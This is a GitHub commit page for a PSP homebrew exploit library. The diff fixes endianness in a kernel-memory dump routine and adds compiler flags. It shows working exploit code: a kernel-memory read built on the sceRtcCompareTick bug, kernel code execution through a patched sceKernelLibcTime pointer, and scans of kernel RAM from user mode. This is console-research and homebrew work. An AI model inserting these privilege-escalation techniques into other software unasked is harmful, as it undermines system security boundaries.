Skip to content

Commit 61ee357

Browse files
committed
fix endianness in pspXploitDumpKernel where 64-bit values were stored in reverse order, remove unnecessary -4 alignment workaround, add compiler warnings
1 parent 4519a21 commit 61ee357

File tree

5 files changed

+38
-32
lines changed

5 files changed

+38
-32
lines changed

.gitignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
*.a
2+
*.o

Makefile

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -17,7 +17,7 @@ PSPSDK=$(shell psp-config --pspsdk-path)
1717

1818
CC=psp-gcc
1919
INCDIR = $(ARKROOT)/common/include
20-
CFLAGS = -std=c99 -Wall -Os -G0 -fno-pic
20+
CFLAGS = -std=c99 -Wall -Os -G0 -fno-pic -Wextra -Werror
2121
CXXFLAGS = $(CFLAGS) -fno-exceptions -fno-rtti
2222
ASFLAGS = $(CFLAGS)
2323
LIBDIR =

kernel_read.c

Lines changed: 27 additions & 23 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,7 @@
1+
#include <time.h>
12
#include <pspsdk.h>
23
#include <psprtc.h>
4+
35
/*
46
sceRtcCompareTick kernel exploit by davee, implementation by CelesteBlue
57
*/
@@ -8,43 +10,45 @@
810
// input: 4-byte-aligned kernel address to a 64-bit integer
911
// return *addr >= value;
1012
static int is_ge_u64(uint32_t addr, uint32_t *value) {
11-
return (int)sceRtcCompareTick((uint64_t *)value, (uint64_t *)addr) <= 0;
13+
return (int)sceRtcCompareTick((uint64_t *)value, (uint64_t *)addr) <= 0;
1214
}
1315

1416
// input: 4-byte-aligned kernel address
1517
// return *addr
1618
uint64_t pspXploitKernelRead64(uint32_t addr) {
17-
uint32_t value[2] = {0, 0};
18-
uint32_t res[2] = {0, 0};
19-
int bit_idx = 0;
20-
for (; bit_idx < 32; bit_idx++) {
21-
value[1] = res[1] | (1 << (31 - bit_idx));
22-
if (is_ge_u64(addr, value))
23-
res[1] = value[1];
24-
}
25-
value[1] = res[1];
26-
bit_idx = 0;
27-
for (; bit_idx < 32; bit_idx++) {
28-
value[0] = res[0] | (1 << (31 - bit_idx));
29-
if (is_ge_u64(addr, value))
30-
res[0] = value[0];
31-
}
32-
return *(uint64_t*)res;
19+
uint32_t value[2] = {0, 0};
20+
uint32_t res[2] = {0, 0};
21+
int bit_idx = 0;
22+
for (; bit_idx < 32; bit_idx++) {
23+
value[1] = res[1] | (1 << (31 - bit_idx));
24+
if (is_ge_u64(addr, value)) {
25+
res[1] = value[1];
26+
}
27+
}
28+
value[1] = res[1];
29+
bit_idx = 0;
30+
for (; bit_idx < 32; bit_idx++) {
31+
value[0] = res[0] | (1 << (31 - bit_idx));
32+
if (is_ge_u64(addr, value)) {
33+
res[0] = value[0];
34+
}
35+
}
36+
return ((uint64_t)res[1] << 32) | res[0];
3337
}
3438

3539
void pspXploitDumpKernel(u32* dst, u32* src, u32 size) {
3640

37-
#ifdef DEBUG
38-
pspDebugScreenPrintf("Reading %d bytes of kernel ram @ %p\n", size, src);
39-
#endif
41+
#ifdef DEBUG
42+
pspDebugScreenPrintf("Reading %d bytes of kernel ram @ %p\n", size, src);
43+
#endif
4044

41-
if ((u32)src+size >= 0x88400000) size = 0x88400000 - (u32)src;
45+
if ((u32)src+size >= 0x88400000) size = 0x88400000 - (u32)src;
4246

4347
u32 count = 0;
4448
while (count < size){
4549
u64 ret = pspXploitKernelRead64((u32)src);
46-
dst[0] = ((uint32_t *)&ret)[1];
47-
dst[1] = ((uint32_t *)&ret)[0];
50+
dst[0] = (uint32_t) ret;
51+
dst[1] = (uint32_t)(ret >> 32);
4852
dst += 2;
4953
src += 2;
5054
count += 8;

kernel_write.c

Lines changed: 5 additions & 5 deletions
Original file line numberDiff line numberDiff line change
@@ -13,11 +13,11 @@
1313
extern int sceSdGetLastIndex(int a1, int a2, int a3);
1414
static int (* _sceKernelLibcTime)(u32 a0, u32 a1) = (void*)NULL;
1515

16-
volatile static u32 packet[256];
17-
volatile static int is_exploited;
16+
static volatile u32 packet[256];
17+
static volatile int is_exploited;
1818

19-
volatile static u32 patch_addr = 0U;
20-
volatile static u32 patch_inst = 0;
19+
static volatile u32 patch_addr = 0U;
20+
static volatile u32 patch_inst = 0;
2121

2222
void pspXploitExecuteKernel(u32 kernelContentFunction)
2323
{
@@ -53,7 +53,7 @@ int pspXploitInitKernelExploit(){
5353
// figure out address of libctime
5454
u32 libctime_addr = pspXploitFindFunctionFromUsermode("UtilsForUser", 0x27CC57F0, kram_copy, KRAM_BACKUP_SIZE);
5555

56-
if (libctime_addr == NULL){
56+
if (!libctime_addr){
5757
sceKernelFreePartitionMemory(memid);
5858
return -1;
5959
}

libpspexploit.c

Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -172,7 +172,7 @@ u32 pspXploitFindFunctionFromUsermode(const char *library, u32 nid, void* buf, u
172172
for (addr=start_addr; addr < maxaddr; addr += 4) {
173173
if (strcmp(library, (const char *)addr) == 0) {
174174

175-
u32 libaddr = (addr-start_addr-4) + 0x88000000; // TODO: is -4 necessary?
175+
u32 libaddr = (addr-start_addr) + 0x88000000;
176176

177177
while (*(u32*)(addr -= 4) != libaddr) {
178178
if (addr <= start_addr){
@@ -249,7 +249,7 @@ u32 pspXploitFindFunction(const char *module, const char *library, u32 nid)
249249
void * entTab = mod->ent_top;
250250

251251
// Iterate Exports
252-
for (int i = 0; i < mod->ent_size;)
252+
for (unsigned int i = 0; i < mod->ent_size;)
253253
{
254254
// Cast Export Table Entry
255255
struct SceLibraryEntryTable * entry = (struct SceLibraryEntryTable *)(entTab + i);
@@ -267,7 +267,7 @@ u32 pspXploitFindFunction(const char *module, const char *library, u32 nid)
267267
if(total > 0)
268268
{
269269
// Iterate Exports
270-
for(int j = 0; j < total; j++)
270+
for(unsigned int j = 0; j < total; j++)
271271
{
272272
// Found Matching NID
273273
if(vars[j] == nid) return vars[total + j];

0 commit comments

Comments
 (0)